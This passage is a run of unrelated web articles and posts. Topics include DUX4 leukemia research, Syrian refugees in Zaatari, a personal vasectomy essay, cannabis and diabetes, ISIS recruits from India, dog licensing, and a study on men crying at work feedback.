be visualized using ProteinPaint (pecan.stjude.org), a powerful interactive tool developed at St. Jude to examine pediatric cancer mutations and gene expression.  Co-author Li Ding, Ph.D., assistant director of The McDonnell Genome Institute and director of computational biology in the Division of Oncology at Washington University School of Medicine in St. Louis, noted: "Our data reveal that a genetic rearrangement of DUX4 is present in all cases for patients with the distinct gene expression profile identified in our study. The genetic rearrangement of DUX4 is a clonal event that is acquired early in the development of leukemia."  Co-author Stephen Hunger, M.D., chief of the Division of Oncology at the Children's Hospital of Philadelphia, said the genetic defects underlying this relatively common subset of B-ALL were not fully understood before discovery of the DUX4 abnormalities. "These results underscore that there is still more to be learned about the genetic changes in ALL, and that this knowledge can help refine treatment for patients," he said.  The researchers hope identification of the relationships between the two transcription factors will lead to new diagnostic tests for patients. DUX4/ERG ALL is linked to favorable outcomes even when other detrimental genetic mutations are present. Currently, only transcriptome or genome sequencing helps identify the DUX4 rearrangements. The scientists say other detection methods, for example fluorescence hybridization or visual inspection of chromosomes under the microscope (karyotyping), are not sufficient to recognize genetic changes to DUX4.
-Zaatari’s occupants say they would still jump at any chance to leave. Complaints are rife about electricity, which since June has been available only at night; rationed water; and, especially, the dismal quality of the schools. Last year, classes in the camp were crammed with up to 90 children; of those who took Jordan’s 12th-grade exam, 3 percent passed.  The camp population has dropped to 79,000 from 83,000 in April (and 156,000 in March 2013).  While the rate of Syrians leaving Jordan has doubled to 120 per day in September from 60 in July, the United Nations High Commissioner for Refugees found that Zaatari residents are less likely to exit than those outside. Still, Hovig Etyemezian, the camp director, sees “an alarming trend” of young men selling land in Syria to finance precarious journeys to Europe.  “This is the way forward,” said a 26-year-old who left on Sunday hoping to join a cousin in Stuttgart, Germany, or former Zaatari neighbors in the Netherlands and Sweden. “I have a degree, and for five years I have not worked with my degree,” said the man, who was trained as a lab technician but has been selling stationery in Zaatari. “I want a career.”  Bassem Zuhri, 42, would love to follow him — “I wish today I could leave” — but he cannot afford $400 passports for his two wives and five children. Profits at Mr. Zuhri’s bridal shop, where poofy dresses studded with rhinestones rent for $25 a day, were slashed this summer by the $155 monthly cost of a generator.
-It’s been over two years now since I decided to get a vasectomy and I’ve never looked back. A few times I have been saddened when I was told the world needs me to have kids or when a girl was not interested in me because I can’t make a baby. However, in those rare moments I remember why I decided to do what I did and am quickly reassured it was the right choice for me. Today I share with you why I did what so few people of my age have dared to do in hopes of shedding light on a topic that is frequently brushed under the rug.  1. Almost every girl I’ve ever dated has suffered from depression or anxiety due to hormone imbalance from birth control. I decided I didn’t want to put anyone I love through that so I took on the role of birth control myself.  2. I think birth control is an equal responsibility of the man and the woman. In my mind, men and women are equal on all planes. Sure, there are some big differences between our genders, but one could not exist without the other and responsibility should lie equally on both genders. I can have a simple snip done or my female counterpart can take a daily pill, deal with a plastic ring in her vagina, wear a patch on her butt, or any of the similar measures that exist. All of these being more time and energy consuming measures than my procedure. Also female birth control takes money and both the man and woman should equally pay for that. (For any woman wanting long-term birth control, the IUD is the best option I have found and lasts up to 12 years.)  3. I don’t support the pharmaceutical industry. Besides the negative affects many women directly suffer because of birth control, the world is suffering from the pharmaceutical industry. The toxins cause negative impacts in our bodies and that impact continues when it’s flushed into our water systems, affecting humans, animals, and our natural environment. The health and well being of humankind should not be a profitable venture, yet the pharmaceutical industry is a billion or trillion dollar industry. Priorities are often skewed when money is that big of a factor and it doesn’t seem that the true health of our citizens is the number one priority. I do think there is a place for western medicine, especially for emergencies, but as it is currently being used I choose not to support it where possible.  4. People sometimes tell me that I’m exactly the type of guy that should be having children because I can raise them to make the world a better place. My mission is exactly that, to make the earth a happier, healthier place for all of us, but I don’t need my own children to do that. Instead, I am dedicating my time to educating and inspiring the masses to treat each other and our earth with respect. Let’s take for example some teachers who help raise hundreds or thousands of children in their classrooms. Those teachers don’t need children of their own in order to have a positive impact because every child is their child. I feel the same way.  5. There are just a lot of other things I’d rather do than have kids. That’s a good enough reason in itself for me.  6. There is no shortage of people on earth. The population is currently at 7 billion people and growing rapidly. Every second 5 people are born and only 2 people die. Our exploding population could make things a lot more challenging in the future and already seems to be doing so. I don’t feel a need to add onto the population myself. I do want to be clear that I think raising a child is an incredibly beautiful thing and I have the utmost respect for parents who have dedicated their lives to raising great people and doing it in a manner that is environmentally friendly. We need children and we need intelligent, caring children. Thank you to all who are currently or have raised these people!  7. I don’t want to create trash anymore. The birth control industry creates a lot of trash from the condoms and their wrappers to the plastic packages of the pills and similar products. This stuff all ends up in landfills or, worse yet, on our streets and in our waterways. I’m trying to live a life free of garbage and this is one very small part of that lifestyle. There are 100’s of ways I’ve chosen to stop making trash.  8. The decision is reversible. I highly doubt I will ever get a vasectomy reversal but if I decide to, success rates say my odds of being able to conceive is at least 50% with some doctors claiming a 95% success rate.  9. My insurance covered it. Even without insurance the procedure is very affordable, ranging from $300 to $900 on average. It’s a heck of a lot cheaper than raising a child or a few decades of female birth control.  10. There are alternative ways to have a child. If I ever have a child I would rather adopt and help a child that is in despair. However, if I decide to have my own child there is always in utero and in vitro. As I’ve come to understand, the reasons to freeze sperm have lessened because doctors can go in with a very thin needle to pull sperm out. That’s good information to have but I doubt I’ll ever take that course of action either.  11. It doesn’t affect my sex life. Well, unless you take into account that it has made my sex life better. The vasectomy procedure simply cuts the vas deferens, which prevent the sperm from meeting the semen during ejaculation. The semen still comes out in an orgasm and that makes up about 95% of the ejaculation. The human body still produces sperm and it is constantly reabsorbed by the body as it does not leave the testes during ejaculation. The orgasm is the same and the ejaculation is the same in every way.  That’s it. That’s why I got a vasectomy. I’m not telling anyone else to get a vasectomy or that it is the solution to all of our world problems. However, it is an option for those who don’t want children of their own and I wanted to share my personal experience and thoughts. Although this is a separate issue I also feel the need to discuss STD’s a little bit here.  I strongly encourage anyone having sex to take all necessary responsibilities to prevent contracting or spreading STD’s. Using protection such as condoms is an obvious means of preventing STD’s but it goes much deeper than that. Having just one sexual partner that you are open and honest with is a great means for avoiding STD’s. If there is a need to, both you and your partner can be checked and share the results on paper with each other to be certain that you are both free of an STD. Honesty is absolutely necessary in sexual relationships and obviously having sex with someone else and then with your partner puts them at risk. I encourage you to be true to the words you speak with your partner. Judgment and education are also great tools to prevent STD’s and in my opinion are more important tools than condoms because you can still get an STD with the use of condoms. There are demographics that are at higher risk of STD’s, which includes people who use needles for drugs or have compromised immune systems. Be conscious of this. Avoiding alcohol and drugs is also an intelligent way to avoid STD’s as they are often involved with lack of judgement that leads to STD’s. Consciousness, rational thinking, self control, and proper judgment are extremely important in sex and in every facet of life. I encourage you to practice all of these skills. The most effective way of preventing an STD or accidental pregnancy is to not have sex. For my younger audience I’d like to share with you that I graduated from high school before having sex. I was 19 my first time and I encourage you to wait until you are emotionally ready and with a caring partner. There are so many meaningful and purposeful ways to spend our lives other than pursuing and having sex.
-by Paul Armentano, NORML Deputy Director  Subjects who regularly consume cannabis possess favorable indices related to diabetic control as compared to occasional consumers or non-users, according to trial data published today online in the American Journal of Medicine.  Here is a summary of the study from the website diabetes.co.uk:  Cannabis may prevent development of type 2 diabetes A new study has revealed that smoking cannabis may help protect against type 2 diabetes after researchers in the US found that regular users of the drug have better blood sugar control. Murray Mittleman, of the Cardiovascular Epidemiology Research Unit at the Beth Israel Deaconess Medical Centre in Boston, analysed data on almost 5,000 patients who were quizzed about their use of recreational drugs as part of the National Health and Nutrition Survey between 2005 and 2010. They found that 2,103 had never use cannabis, 975 had used the drug in the past but were not current users, and 579 (over 10%) had inhaled or ingested it in the past month. Tests showed that current users had 16% lower fasting insulin levels and reduced insulin resistance than those who had never used cannabis. Non-users also had larger waistlines and lower levels of high-density lipoprotein (HDL or ‘good’) cholesterol – both of which are risk factors for type 2 diabetes. The same benefits were seen among participants who had used the drug in the past but the associations were not as strong, indicating that the effects of cannabis use on insulin levels and insulin sensitivity wear off over time. “Previous epidemiologic studies have found lower prevalence rates of obesity and diabetes mellitus in marijuana users compared to people who have never used marijuana, suggesting a relationship between cannabinoids and peripheral metabolic processes, but ours is the first to investigate the relationship between marijuana use and fasting insulin, glucose, and insulin resistance,” said lead investigator Mittleman.  Commenting on the study, American Journal of Medicine Editor-in-Chief Joseph S. Alpert, MD, Professor of Medicine at the University of Arizona College of Medicine, Tucson, wrote in an accompanying commentary: “These are indeed remarkable observations that are supported, as the authors note, by basic science experiments that came to similar conclusions.” He added: “We desperately need a great deal more basic and clinical research into the short- and long-term effects of marijuana in a variety of clinical settings such as cancer, diabetes, and frailty of the elderly. I would like to call on the NIH and the DEA to collaborate in developing policies to implement solid scientific investigations that would lead to information assisting physicians in the proper use and prescription of THC in its synthetic or herbal form.”  Diabetes mellitus is a group of autoimmune diseases characterized by defects in insulin secretion resulting in hyperglycemia (an abnormally high concentration of glucose in the blood). There are two primary types of diabetes. Individuals diagnosed with type 1 diabetes (also known as juvenile diabetes) are incapable of producing pancreatic insulin and must rely on insulin medication for survival. Individuals diagnosed with type 2 diabetes (also known as adult onset diabetes) produce inadequate amounts of insulin. Type 2 diabetes is a less serious condition that typically is controlled by diet. Over time, diabetes can lead to blindness, kidney failure, nerve damage, hardening of the arteries and death. The disease is the third leading cause of death in the United States after heart disease and cancer.  Observational trial data published in 2012 in the British Medical Journal previously reported that adults with a history of marijuana use had a lower prevalence of type 2 diabetes and possess a lower risk of contracting the disease than do those with no history of cannabis consumption, even after researchers adjusted for social variables (ethnicity, level of physical activity, etc.) Investigators concluded, “Our analysis of adults aged 20-59 years … showed that participants who used marijuana had a lower prevalence of DM (Diabetes Mellitus) and lower odds of DM relative to non-marijuana users.”  Although subjects who consume marijuana on average have higher average caloric intake levels than non-users, the plant’s use has been associated with lower body-mass index (BMI) and lower rates of obesity.  Abstracts of today’s study, “The Impact of Marijuana Use on Glucose, Insulin, and Insulin Resistance among US Adults,” are online here. NORML has additional information and citations regarding cannabis and diabetes in our Library here.
-The president’s confusing, concerning, and ultimately crazy week continued on Thursday with a prickly Time cover package. It contained an unnerving interview between the magazine’s White House correspondent and Donald Trump. Based on his answers, the president really, really doesn’t understand modern technology, and his aversion to it could end up being a threat to national security.  Let’s just jump right into the compromising quotes. When asked about the future of America’s new Ford-class aircraft carriers, Trump began rambling about the catapults that send fighter jets speeding off the deck. To be more specific, Ford-class carriers use a new Electromagnetic Aircraft Launching System (EMALS), an innovative approach that does away with aging steam-powered catapults. Essentially, the system works like a maglev train, pushing a plane up to speed with the help of some computers. Trump jumped right into a tirade about the new-fangled technology:  You know the catapult is quite important. So I said what is this? Sir, this is our digital catapult system. He said well, we’re going to this because we wanted to keep up with modern [technology]. I said you don’t use steam anymore for catapult? No sir. I said, “Ah, how is it working?” “Sir, not good. Not good. Doesn’t have the power. You know the steam is just brutal. You see that sucker going and steam’s going all over the place, there’s planes thrown in the air.”  Advertisement  It’s a little unclear if the president considers “planes thrown in the air” a good thing. And since Trump is a lying liar who tells dangerous lies, it’s also unclear if the unnamed Naval officer talking to the president actually said these things. However, the idea that the electromagnetic catapult system has encountered some problems in its development is not entirely false.  Just a couple of years ago, tests showed that EMALS failed 1 out of every 240 launches. That’s not good when a failure could put a $50-million jet and two pilots in the ocean, but it’s also not unusual for new technologies to suffer some bumps in the road during development. Either way, as our friends at Foxtrot Alpha point out, the electromagnetic catapult system could be essential in half a century when the USS Gerald R. Ford and the two other carriers in its class are still supposed to be in service.  “The whole idea of ripping out the launch system in the already-built Ford, and re-designing the following carriers (including the already-under construction USS Enterprise), would be ‘immensely expensive,’” Foxtrot’s Mike Ballaban writes, quoting carrier expert Dr. Robert Farley, who called Trump’s statements “totally nuts.”  Advertisement  But the second part of Trump’s quote is more revealing about the president’s nefarious and perhaps dangerous tendency to discount modern technology:  It sounded bad to me. Digital. They have digital. What is digital? And it’s very complicated, you have to be Albert Einstein to figure it out. And I said—and now they want to buy more aircraft carriers. I said what system are you going to be—“Sir, we’re staying with digital.” I said no you’re not. You going to goddamned steam, the digital costs hundreds of millions of dollars more money and it’s no good.  Again, ripping out “the digital” would also cost hundreds of millions of dollars and leave the Navy with outdated technology for at least the next 50 years. Trump’s idea isn’t just terrible reasoning; it’s a threat to national security.  Donald Trump, of course, is famous for not understanding how modern technology works. A little over a year ago, Gizmodo’s own Matt Novak conducted an investigation and couldn’t figure out if Trump had ever used a computer. A couple weeks after his election, our billionaire president was photographed in the cool blue glow of a MacBook Pro, but he does not look confident in what he’s doing with the machine. Trump doesn’t use email, and it appears that he uses a smartphone strictly for phone calls and tweets.  Advertisement  Trump publicly acknowledges his love and daily use of obsolete technology. Beyond the years-old Samsung Galaxy phone he used throughout the campaign and during his early days in office, Trump is a big fan of TiVo because it lets him fast-forward through his precious TV shows, calling it “one of the great inventions of all time.” (Most smart TVs let you do anything a TiVo can do without the need to buy an extra box.) Because he doesn’t email, Trump sends praise and disapproval to reporters by fax. This stuff is sort of funny when it’s about Trump’s idiosyncratic love of old technology that he thinks “just works.” It’s absolutely terrifying when you think about how it might guide cybersecurity or defense strategy.  At the end of the day, we could be witnessing another Trumpian manipulation of the truth (also known as a lie) with his “I don’t understand digital, whatever” act. But all evidence points to the idea that President Trump actually doesn’t understand modern technology or its necessity in a changing world—and is willing to sacrifice national security as a result. He demonstrated this ignorance by avoiding cybersecurity policy and then appointing fellow luddite Rudy Giuliani to build his cybersecurity team. (This was a terrible idea from the start.) Perhaps looking for a win after the Comey controversy, Trump finally signed his cybersecurity order on Thursday afternoon. According to Politico, cybersecurity experts say that the order “breaks little new ground.”  Trump spews a lot of bullshit. We all know this by now. Who knows if he even talked to the Navy about the new digital catapult system. There’s a good chance he just saw some conservative pundit yelling about the cost on Fox News and decided to regurgitate those points in the Time interview. If there’s anything Trump does understand, it’s how to repeat what’s said on Fox News.  Advertisement  [Time]
-Relatives of Arif Fayyaz Majeed meet Home Minister Rajnath Singh. (Source: IE photo: Deepak Joshi)  Arif Ejaz Majeed, one of the four young men from Kalyan near Mumbai who were thought to have joined insurgents of the Islamic State in Iraq and Syria (ISIS), has reportedly been killed in fighting in Iraq.  Advertising  Arif, an engineering student, was one of four men from Kalyan who went missing from their homes in May. Arif’s family — along with the families of the other three men, Fahad Tanvir Sheikh, Aman Naim Tandel and Saheem Farooq Tanki — went to the police some days after they disappeared.  The Indian Express first reported the disappearances on July 14.  Iftikhar Khan, an uncle of Fahad Sheikh, said the news of Arif’s death in Iraq was conveyed by Saheem Farooq Tanki, who called his family in Thane on Tuesday night.  “Saheem called us at 6 pm on Monday and told us about Arif’s death. He was sobbing throughout and asked us to go and inform Arif’s family. He later called us at once again in the night to check if we had informed his (Arif’s) family,” Kashif Tanki, a relative, said.  Advertising  Saheem’s family passed on the information both to Arif’s family and to the Kalyan police.  Friends of Arif’s family said that his father, who is a doctor, was shattered by the news and was inconsolable. The family performed Arif’s last rites in absentia on Wednesday.  The Indian Express first reported the disappearances on July 14.  “The Ghaibaana Namaaz-e-Janaaza, which is a funeral prayer for times when the body is not available, was offered after the Zuhr (afternoon) namaaz by the family,” said a resident of the housing society in which the Majeed family lives. Members of the families of the other three youth were present at the namaaz, neighbours said.  The Bazaarpeth police have recorded the statements of Saheem’s family, and were on Wednesday attempting to verify the report of Arif’s death. “Saheem said that he had made inquiries about Arif’s whereabouts and well being, and learned that he had died. Saheem did not have any more details. There has been no official confirmation yet from any of the investigating agencies,” Iftikhar Khan said.  The four families live in the same Dudh Naka-Govindwadi area of Kalyan (West). The Maharashtra Anti-Terrorism Squad had picked up laptops and pen drives from the youths’ homes on the evening of July 14. Late on July 18 evening, Arif’s father, Ejaz Badruddin Majeed, had met Home Minister Rajnath Singh in Delhi, and handed him a letter, reportedly seeking action against the people who had radicalised his son and persuaded him to join the jihadis in the Middle East.  The Indian Express broke the story on July 14, 2014.  Before leaving home, Arif had left behind a letter saying “fighting has been enjoined upon you”, and telling his mother that the “angel of death” will ask him why he didn’t migrate to “Allah’s land”. In the letter, the son told his family, “May we all meet in Paradise.”  ISIS, the ruthless Sunni extremist militia which Arif, Fahad, Aman and Saheem were believed to have joined, now calls itself the Islamic State (IS). It shocked the world this month by uploading on the Internet a video of the grisly beheading of American journalist James Foley.  Police sources had told The Indian Express last month that the four men flew to Baghdad on May 23 as part of a group of 22 pilgrims intending to visit religious shrines in Iraq. Arif had called his family from Baghdad on May 24, apologising for having left without telling them.  He had claimed he had travelled in the hope of finding a job there. He had phoned again on May 25, this time to reassure his family that he was well.  Later that evening, other pilgrims on the trip told investigators, Arif, Fahad, Aman and Saheem had hired a taxi to Fallujah, a city west of Baghdad which has emerged as the epicentre of Iraq’s deadly insurgency. The four Kalyan men had gone silent thereafter. Iraqi intelligence had found Arif’s cellphone connected to a tower in the Mosul area before going dead — and on Wednesday, intelligence sources in India said Arif’s death had likely occurred in the same area.  “The radicalisation of the youths seems to have taken place online,” a Maharashtra Police official had told The Indian Express in July, “with news of atrocities in the region inflaming their passions”.  Last year, Pakistani al-Qaeda ideologue Asim Umar had called on Indians to join the global jihad. The ISIS has cited India as a key concern for global jihadists. In Internet chatrooms where Islamists congregate, messages have been posted calling on Indians to join up, to prepare themselves for what is being described as the coming communal apocalypse.  Internet propaganda has drawn thousands of young people from distant countries to the conflicts in Iraq and Syria. Hundreds of volunteers from Europe, the UK, US and Australia have been reported to be participating in the wars, along with some numbers of Pakistanis. Foley’s murderer is said to have had a South London accent.  In his letter, Arif appeared to reject his family’s values. “I cried when I saw you all sinning, smoking cigarettes, taking interest, watching TV, illegal sexual intercourse, living luxurious lives, intermingling of sexes, not praying, not growing beards.These things will lead to you burning in the hell-fire,” he said.  He had harsh words, in particular, for his sister, and female cousins, who all watched television, “a professional way to ensure nudity, lewdness, obscenity and disbelief prevail. It is a major sin. In it is music, which is an instrument of Satan”.  “He was a good boy,” Arif’s father had said then. “He was very religious, never spent time in bad company, never chased after girls, never seemed attracted to violence.”  Advertising  “O Mother,” Arif wrote. “The sun is setting in the backyard of our house, behind the mountain and I have told my friend that we will meet there for our greatest journey. It is a blessed journey for me because I don’t want to live in this sinful country. At the time of my death, the angel of death will ask me why I did not make hijra (migrate) to Allah’s land, which is spacious.”
-My biggest running nightmare became reality- 4 miles into my long run Sunday afternoon, I stopped to use the restroom and was assaulted by a man hiding in a stall (that is my GPS in red lines). I fought for my life screaming("Not today, M**F**er!"), clawing his face, punching back, and desperately trying to escape his grip- never giving up. I was able to lock him in the bathroom until police arrived. Thankfully I just took a self-defense class offered at my work and used all of it. My face is stitched, my body is bruised, but my spirit is intact. #NTMF #fightingchanceseattle #ballard #runnersafety #marathontraining #womensselfdefense #myballard #fightlikeagirl #fightback #nottodaymotherfucker #youcantbreakme #instarunners #garmin #garminvivosmarthr  A post shared by Kelly Herron #NTMF (@run_kiwi_run) on Mar 6, 2017 at 10:48am PST
-Tech gadgets' plastic and metal bodies can be pretty tiresome, offering little personality and warmth - especially considering how integrated they are with our lives. Recently, wood has stepped in to fill the unnatural void. One of the oldest known materials used to build things, wood is warm, timeless and beautiful. Its durability and unique fingerprint of grain patterns also make this an ideal material to enclose a tech gadget in.  Above is an image of the Maple Phone, designed by Hyun Jin Yoon and Eun Hak Lee, who have won the Silver award at the International Design Excellence Awards 2008.  Other wooden phones have been designed, that are interesting to compare. I think the Maple Phone is the most elegant, though.  Continue for more images of the Maple Phone and other unique wooden phones >
-When George Mallari-Lee met some of his best friends in detention at Pierrefonds Comprehensive High School – all of them in trouble for reading comic books – he never imagined one day they would own their own shop.  Now he and his three friends, all comic fanatics from the West Island, are making their mark in Montreal's St-Henri neighbourhood with Crossover Comics.  The co-owners of the shop, all in their thirties, say they are living out their dream, although they admit it wasn't easy starting up a small business.  We live in the digital age, and we are selling paper-bound books. - George Mallari-Lee, Co-owner of Crossover Comics  "Happy struggles," said Mallari-Lee. "Opening any kind of small business is difficult, especially [since] we live in the digital age, and we are selling paper-bound books."  "But the reaction has been amazing. There's a lot of enthusiasm. The neighbourhood has just shown a lot of love for us."  More than superheroes  The owners of Crossover Comics say they are unlike many of the other shops around the city, which they say carry mainly superhero-based comics.  Mallari-Lee's partner Ray Silas says more than half of their shop is filled with dozens of categories of comics, far beyond the superhero genre.  Crossover Comics in St-Henri carries a wide range of comic books. (CBC)  "We have romance, crime, sci-fi: You name it, we have it," says Silas.  "If you're five years old or you're seventy years old, and you've read comics your whole life or you've never read comics, I should be able to find something for you."  They also carry a wide range of graphic novels, independently published books, board games, collectors' cards and comics for kids.  Comics in the community  Crossover Comics is also a meeting spot for weekly community gatherings.  There are board game nights, Magic collectible card game meetups and book clubs.  They've already made their way into several schools in the area, organizing after-school comic book clubs and anti-bullying and literacy workshops for kids.  For Halloween weekend, kids can stop by to trick-or-treat and walk away with a free comic.  Crossover Comics store on Notre-Dame in St-Henri is celebrating its fourth anniversary. (Kristin Falcao )  Loyal customers  A testament to their loyal customers is the store's constant traffic, despite major road construction going on outside their door.  The stretch of Notre-Dame Street from Atwater Avenue to their shop near Rose-de-Lima Street has been torn up for weeks.  Construction along Notre-Dame street outside of Crossover Comics store in St-Henri has been going on for weeks. (Kristin Falcao )  Celebrating 4 years of comics in St-Henri  The shop is celebrating its fourth anniversary this weekend with a big sale, a comic book launch and a party. Previous events have seen lineups around the block, which may be a bit tricky this year due to the construction mess outside.  Local hip hop artist Yassin (Narcy) Alsalman is launching a comic book he wrote called World War Free, based on one of his albums at the store's anniversary event.  Multimedia hip hop artist Yassin (Narcy) Alsalman wrote a comic book that he's launching at Crossover Comics' four year anniversary party. (CBC)  "I like that they're independent guys that started with a passion and created something out of it. Come support these guys, man," says Alsalman.  Crossover Comics's event starts at 11 a.m. on Saturday, at 3560 Notre-Dame Ouest.
-The dog licence tag might be one of several dog tags worn.  A dog licence is required in some jurisdictions to be the keeper of a dog. Usually a dog-licence identifying number is issued to the owner, along with a dog tag bearing the identifier and a contact number for the registering organization. If a stray pet is found with the tag, a rescuer can call the registering organization to get current contact information for the dog's owner.  Licensing a dog might require additional actions on the owner's part, such as ensuring that the dog has a current rabies vaccination. In many jurisdictions a fee, which is usually small, must be paid. Licences typically must be renewed annually or after some small number of years.  Licensing information worldwide [ edit ]  Australia [ edit ]  Dog licences are mandated by state and territory legislation but are issued by local governments (e.g., city or shire councils).[1] Hence the cost of a licence and the format of the licence tag vary across the country. Some areas, such as Victoria, require cat registration and microchipping also.[2]  Dog licences are required. There are three types of licences[3]  Individual dog licence – covers one dog for a period of 12 months  General dog licence – for owners of kennels for a period of 12 months  Lifetime of the dog licence – for the lifetime of the dog for which the licence is issued  Italy [ edit ]  Since 2008 an identification microchip is mandatory for each dog over 2 months, and a small fee is associated with it, but it does not need to be renewed.[4]  Netherlands [ edit ]  Dogs must be registered and a yearly tax is paid to the municipality based on the number of dogs. The amount differs between municipalities; for example in The Hague it is €112.80 for the first dog, €176.76 for the second one, and €224.16 for the third one.[5] Other municipalities have scrapped it like Amsterdam in 2016.[6]  New Zealand [ edit ]  Under the Dog Control Act 1996 all dogs over 3 months old are required to be registered with the city or district council the dog usually resides in. As a prerequisite, all dogs classified as dangerous or menacing, and all dogs first registered in New Zealand after 1 July 2006 must be microchipped before they can be registered.  All dog registrations expire yearly on 30 June, and must be renewed by 31 July. Each registered dog must wear a tag specifying the council, registration expiry date, and registration number of the dog, with the colour of the tag changing every year for easy identification (e.g. tags for the 2013/14 year are red). Fees for registration differ between councils, and also differ according to factors such as whether the dog is neutered, living in an urban or rural area, classed as dangerous or menacing, and whether the owner is a responsible dog owner. Fees for working dogs (herding dogs, police dogs, drug dogs, etc.) are generally lower than for pets, and seeing-eye or hearing-ear dogs are generally free or minimal cost to register.  United Kingdom [ edit ]  In England, Wales and Scotland, dog licensing was abolished in 1987. Prior to this dog licences were mandatory, but the requirement was widely ignored, with only about half of owners having one. The final rate for a dog licence was 37 pence, reduced from 37½p when the halfpenny was withdrawn in 1984. This figure was an exact conversion from 7/6 (seven shillings and sixpence) on decimalisation in 1971. The revenue went to local authorities. In 2016 it became a requirement that all dogs in England and Wales have a microchip;[7] Scottish legislation was also changed to make microchipping of dogs compulsory from 2016.[8]  In Northern Ireland, dog licences are required under the Dogs (Northern Ireland) Order 1983. As of October 2011 dog licences cost £12.50 a year, with reductions for pensioners and owners of neutered dogs.[9]  Crown dependencies [ edit ]  Dog owners in Guernsey are required to obtain a licence for each dog owned and a dog tax is payable each year.[10]  Dog licences are required.[11]  United States [ edit ]  At least some states, municipalities, and other jurisdictions require a dog license[citation needed][12] and rabies vaccination, and a license expires before the vaccine does. To prevent animal overpopulation, some jurisdictions charge a lower licensing fee if the owner presents veterinary proof that the dog has been spayed or neutered. Some parts of California and Maryland require cat licenses.[13][14]
-Image caption S Irene Virbila was asked to leave the Red Medicine restaurant. Image: Pacific Coast News  A US food critic who remained anonymous for 16 years has had her cover blown by a Los Angeles restaurant.  S Irene Virbila, who works for the Los Angeles Times, had her picture taken at the Red Medicine restaurant in Beverly Hills and was then asked to leave.  The restaurant then posted the picture on the internet.  Noah Ellis, managing partner at the restaurant, said some of Ms Virbila's reviews had been "cruel" and had cost people their jobs.  In a post on the restaurant's blog he said Ms Virbila "was recognised" while she and her party were waiting for a table.  He said he took a picture of her and then asked her to leave.  He wrote: "I asked her and her party to leave, as we don't care for her or her reviews.  I never expected that a restaurateur would stick a camera in my face S. Irene Virbila, LA Times food critic  "Our purpose for posting this is so that all restaurants can have a picture of her and make a decision as to whether or not they would like to serve her."  He said he believed some of Ms Virbila's reviews had been "unnecessarily cruel and irrational" and had "caused hard-working people in this industry to lose their jobs".  The blog post was later removed but widely reported in the US media.  Mr Ellis also included the false name under which Ms Virbila had booked her table, and her telephone number.  Ms Virbila, quoted by the Los Angeles Times, said: "I always knew at some point a blogger or somebody would take a secret photo. But I never expected that a restaurateur would stick a camera in my face."  She said anonymity was important for a restaurant critic.  Restaurants could change their behaviour or serve different food if they recognised a critic with a wide readership, she added.
-happy halloween everyone!  This is just a little thing i sketched on since halloween was approaching and i was thinking of making something for the holiday.  In here i draw cly as a vampire, inspired by carmilla (the vampire from the book, not A's other personality).  Fennel as a kind of poke-frankenstein doctor with her creepy smile.  Aoi in her werewolf form.  and finally A-chan as jason from friday the 13th since i see her as a slasher film serial killer (i had a previous sketch of her in the michael myers mask but it ended up looking weird or not really good)  Placed false prophet since i was thinking of the closest thing to a demon in tpp lore and helix since he is the most lovecraftian thing we have in our history.  Anyways happy halloween and stay safe this night.
-CGI is moving fast, very fast. Not just for added effects in movies, but also for creating completely lifelike 3D models.  The biggest problem facing the animation community is an effect called the ‘uncanny valley’. We’re confronted with this when we see something that looks nearly human, but just not quite.  Humans are so good at recognizing other humans, that’s it’s extremely hard to create a thing that looks like a normal, healthy person and not a zombie or a corpse.  It’s explained in the graph below:  We’ve become pretty good at making CGI look like it’s almost real, but the real challenge is jumping over the uncanny valley.  Japanese artists Teruyuki Ishikawa & Yuka Ishikawa — otherwise known as Telyuka — started a project in 2015 to create an extremely realistic computer-generated schoolgirl. Her name is Saya, and she has been improved on since then.  This is the 2016 version (click to enlarge):  And these are some pictures of the 2015 version (again, click to enlarge):  Even her shoes look incredibly realistic:  Take a close look at all of these pictures. How do they make you feel? Personally, I’m not sensing the uncanny valley — it just looks real.  Everything from her hair to the texture of her skin doesn’t make me feel like it’s not a real person. If I would’ve come across the image without knowing the context, I’d probably think nothing special of it.  With it becoming increasingly harder to differentiate between real and fake humans, weird things start to happen. For example, take a look at the Instagram account of lilmiquela. When she popped up on the social network a few months ago, people couldn’t figure out if she was real or not.  The illusion lasted for a while, until she posted a video of herself which was obviously fake.  However, it goes to show the line is definitely blurring — it makes me think about the future, where there might be serious confusion to see if you’re dealing with a real person or a computer-generated version of one.  What do you think? Did we destroy the uncanny valley, or is there still something off about most animated figures? Let us know in the comments.  Read next: Tireless gamer sets a Guinness World Record for the longest Football Manager game
-THE FACTS  With swine flu sweeping across the country, health officials are reminding Americans to wash their hands often to reduce the spread of the disease.  Soap and warm water have long been said to prevent the spread of infections, but is warm or hot water really more effective than cold?  In its medical literature, the Food and Drug Administration states that hot water comfortable enough for washing hands is not hot enough to kill bacteria, but is more effective than cold water because it removes oils from the hand that can harbor bacteria.  Photo  But in a 2005 report in the Journal of Occupational and Environmental Medicine, scientists with the Joint Bank Group/Fund Health Services Department pointed out that in studies in which subjects had their hands contaminated, and then were instructed to wash and rinse with soap for 25 seconds using water with temperatures ranging from 40 degrees Fahrenheit to 120 degrees, the various temperatures had “no effect on transient or resident bacterial reduction.”  Advertisement Continue reading the main story  They found no evidence that hot water had any benefit, and noted that it might increase the “irritant capacity” of some soaps, causing contact dermatitis. “Temperature of water used for hand washing should not be guided by antibacterial effects but comfort,” they wrote, “which is in the tepid to warm temperature range. The usage of tepid water instead of hot water also has economic benefits.”  THE BOTTOM LINE  Hot water for hand washing has not been proved to remove germs better than cold water.
-By Alex Fradera  We’re supposed to be hungry for workplace feedback: after all, it can help us to eliminate blind spots in our self-knowledge, give us focus and surpass relationship issues. Often, though, it can be a bit hard to take. On the wrong day, when the feedback’s particularly upsetting, it may even bring us to tears. If this happens to you and you’re a man, according to new research in the Journal of Applied Psychology, it could spell bad news for your career prospects.  Daphna Motro and Aleksander Ellis from the University of Arizona recruited 169 adults based in the US, with an average age 32 and mostly in active employment, and presented them with one of several versions of a 6-minute video showing a performance evaluation of a grocery store manager named Pat: a scripted role performed by actors in their early twenties, a male one in some videos, a female one in others. Participants were asked to imagine they were the supervisor, and the video was staged so that they viewed the action over the shoulder of the supervisor with Pat right in front of them. The evaluation wasn’t good: Pat had recently been rude, frequently late, and oversaw declining sales. In some versions of the video, this feedback was too much, provoking male or female Pat to tears.  In post-viewing ratings of how typical the behaviour in the meeting was, participants who viewed the version featuring a tearful female Pat didn’t find her behaviour any more strange than participants who viewed the video showing female Pat remaining dry-eyed. But for participants who saw male Pat, tears were seen as significantly atypical, and they also tended to rate him lower for competence and fitness for leadership. Men and women alike made these 